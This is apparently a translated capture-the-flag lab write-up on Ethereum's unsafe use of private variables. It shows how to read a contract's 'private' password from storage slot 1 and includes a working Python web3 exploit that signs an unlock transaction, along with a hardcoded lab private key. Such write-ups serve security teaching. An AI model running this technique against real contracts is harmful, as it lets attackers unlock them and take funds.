Blockchain security
Article directory
Unsafe random number practice 1
Purpose
Learn to use the web3 module of python3
Learn to analyze and exploit Ethereum’s unsafe random number vulnerabilities
lab environment
Ubuntu18.04 operating machine
Experimental tools
python3
Experimental principle
Since all Ethereum nodes need to calculate the same result to reach a consensus when verifying transactions, the EVM itself cannot implement the function of true random numbers. As for pseudo-random numbers, their entropy source can only be deterministic values.
The contract uses private variables unknown to the outside world to participate in random number generation. Although the variable is private and cannot be accessed through another contract, the variable is still public after being stored in storage. You can use a blockchain browser (such as etherscan) or geth to observe storage changes, or calculate the location of variable storage and use the Web3 API to obtain the private variable value, and then calculate the random number.
Experiment content
Find an insecure random number vulnerability and exploit it
Use the web3 module of python3 to remotely exploit the vulnerability and obtain the flag
The experimental address is nc ip 10003
Attack process
Get the contract address and contract source code
Connect nc ip 10003 to the question, enter 1, and get the game account and token for deploying the contract
Open http://ip, enter the game account assigned above, and click Request to obtain eth
nc ip 10003 connect to the question, enter 2 to get the address of the deployment contract and new token
nc ip 10003 connect to the question, enter 4 to get the contract source code, or find the contract source code in the question attachment
Analyze contract source code vulnerabilities
The question requires setting the flag to true and analyzing the contract code. The contract balance needs to be 0.
The main vulnerability is that password is a storage variable, which is stored in the storage space of the contract. Although the variable type is set to private, everything in the blockchain is public. You can obtain the value of the private variable password through the Web3 API, and then call the unlock function to unlock it. flag.
EXP utilization
The password variable is located at slot 1 and its value can be read.
You can see that password=0x0000000000000000000000000000000000000000004618a7a7ee551f3d9f8f, so directly call unlock(0x0000000000000000000000000000000000000000000 4618a7a7ee551f3d9f8f) can
Write exp to automate this process. Replace the address of contract_address below with the address of your own title contract.
from web3 import Web3, HTTPProvider
from solcx import compile_source
import time
w3 = Web3(Web3.HTTPProvider('http://192.168.2.102:8545'))
contract_address = "0x2b5Ed99637BEDAaB6b3B2018DAF32A841D98cb31"
private = "92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb"
public = "0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f"
def generate_tx(chainID, to, data, value):
txn = {
'chainId': chainID,
'from': Web3.toChecksumAddress(public),
'to': to,
'gasPrice': w3.eth.gasPrice,
'gas': 3000000,
'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),
'value': Web3.toWei(value, 'ether'),
'data': data,
}
return txn
def sign_and_send(txn):
signed_txn = w3.eth.account.signTransaction(txn, private)
txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)
print("txn_hash=", txn_hash)
return txn_receipt
password = w3.eth.get_storage_at(contract_address, 1).hex()
print(password)
data = Web3.keccak(text='unlock(uint256)').hex()[:10]
data += password[2:].rjust(64,'0')
txn = generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 0)
txn_receipt = sign_and_send(txn)
print(txn_receipt)
Run exp
nc ip 10003 connect to the question, enter 3, enter the previous new token, and get the flag